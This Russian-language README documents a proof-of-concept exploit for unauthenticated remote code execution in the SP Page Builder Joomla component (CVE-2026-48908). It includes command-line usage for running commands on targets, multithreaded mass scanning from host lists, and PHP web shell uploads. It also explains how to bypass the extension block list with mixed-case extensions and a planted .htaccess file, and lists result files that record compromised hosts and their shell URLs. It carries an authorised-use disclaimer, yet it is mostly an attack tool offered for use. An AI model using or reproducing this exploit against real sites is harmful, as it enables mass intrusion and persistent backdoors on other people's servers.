
Неаутентифицированный PoC для RCE CVE-2026-48908 — эксплойт произвольной загрузки файлов и удалённого выполнения кода в SP Page Builder (Joomla) с поддержкой массового сканирования.
SP Page Builder (com_sppagebuilder) для Joomla ≤ 6.6.1 позволяет неаутентифицированным злоумышленникам загружать произвольные файлы и выполнять удаленный код (RCE).
| Поле | Значение |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (Некорректный контроль доступа) |
| Компонент | SP Page Builder (com_sppagebuilder) |
| Затронутые версии | 1.0.0 – 6.6.1 |
| Исправлено в | 6.6.2 |
| Необходимые привилегии | Нет (без аутентификации) |
| Взаимодействие с пользователем | Нет |
body="com_sppagebuilder"
pip install -r requirements.txt
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # только проверка, без команды
python3 exploit_poc.py https://target.example --token abc123 # пользовательский токен
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 параллельных потоков
python3 exploit_poc.py --hosts ips.txt --no-verbose # тихий режим
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
Примечание: При использовании
--shell-fileскрипт только загружает веб-шелл и сообщает URL. Он не выполняет команду-cи не проводит тест на выполнение. Загруженный шелл должен обрабатывать ввод команд самостоятельно.
| Флаг | Описание |
|---|---|
url | Целевой URL (позиционный или через --url) |
--hosts <файл> | Файл с одной целью на строку |
-c, --cmd <команда> | Команда для выполнения (по умолчанию: id) |
--check | Только проверка, без выполнения команды |
--token <токен> | Секрет, защищающий загруженный шелл (по умолчанию: случайный) |
--shell-file <путь> | Загрузить пользовательский PHP-веб-шелл вместо встроенного |
-j, --threads <n> | Количество параллельных потоков для массового сканирования (по умолчанию: 10) |
--no-verbose | Подавить подробный вывод по каждой цели |



После сканирования сохраняются три файла с результатами:
| Файл | Содержимое |
|---|---|
vulnerable_hosts.txt | Цели с подтвержденным RCE + URL веб-шеллов |
not_vulnerable_hosts.txt | Цели, которые обновлены или отсутствуют |
partial_vulnerable_hosts.txt | Цели с возможностью записи файлов, но без выполнения PHP |
custom_shell_hosts.txt | Цели с загруженным пользовательским шеллом, сгруппированные по базовому URL (создается только при использовании --shell-file) |
scan_results.json | Полные результаты в формате JSON для всех целей |
Эксплойт использует задачу asset.uploadCustomIcon компонента com_sppagebuilder:
/media/com_sppagebuilder/assets/iconfont/<имя>/fonts/.Скрипт перебирает несколько расширений PHP (.php, .PHP, .pHp, .Php, .pht, .phtml и т.д.), пока не найдет выполняемое.
Когда прямые PHP-расширения заблокированы фильтром SPPB, скрипт размещает файл .htaccess рядом с полезной нагрузкой:
AddType application/x-httpd-php .PHP
Это заставляет веб-сервер обрабатывать .PHP (в верхнем регистре) как PHP — обходя регистрозависимый блок-лист SPPB. Требует включенного AllowOverride и разрешения выполнения PHP в /media.
Примечание: Обход через
.htaccess+.PHPв верхнем регистре может не работать на всех конфигурациях. Если это не удается, попробуйте использовать расширения.pngили.jpeg. На серверах с отключеннымAllowOverrideили заблокированным выполнением PHP в/mediaдаже загруженные шеллы не будут выполняться (сообщается как "только запись").
Этот PoC основан на https://github.com/papageo75/CVE-2026-48908-PoC/ со следующими дополнениями:
Некоторые ответы сервера могут содержать префиксы, не являющиеся JSON (например, cron-выражения или другой мусор) перед фактической JSON-нагрузкой. Исходный PoC аварийно завершался при вызове r.json() при разборе таких ответов. Эта версия ищет первый символ { и пытается декодировать подстроку JSON:
До:
try:
data = r.json()
except ValueError:
return None
После:
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
Пример — валидный JSON-ответ:
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Пример — не-JSON ответ (мусор перед JSON):
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
Добавлена возможность многопоточного массового сканирования:
--hosts <файл> — загрузка целей из файла (по одной на строку)-j, --threads <n> — количество параллельных потоков (по умолчанию: 10)--no-verbose — подавление подробного вывода по каждой цели.txt файлыДобавлена опция --shell-file <путь> для загрузки пользовательского PHP-веб-шелла вместо встроенного шелла с токеном. При использовании этой опции:
-crun()) не производитсяcustom_shell_hosts.txtТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ИСПОЛЬЗОВАНИЯ. Только для санкционированных пентестов, CTF и лабораторных целей. Вы несете полную ответственность за использование этого инструмента.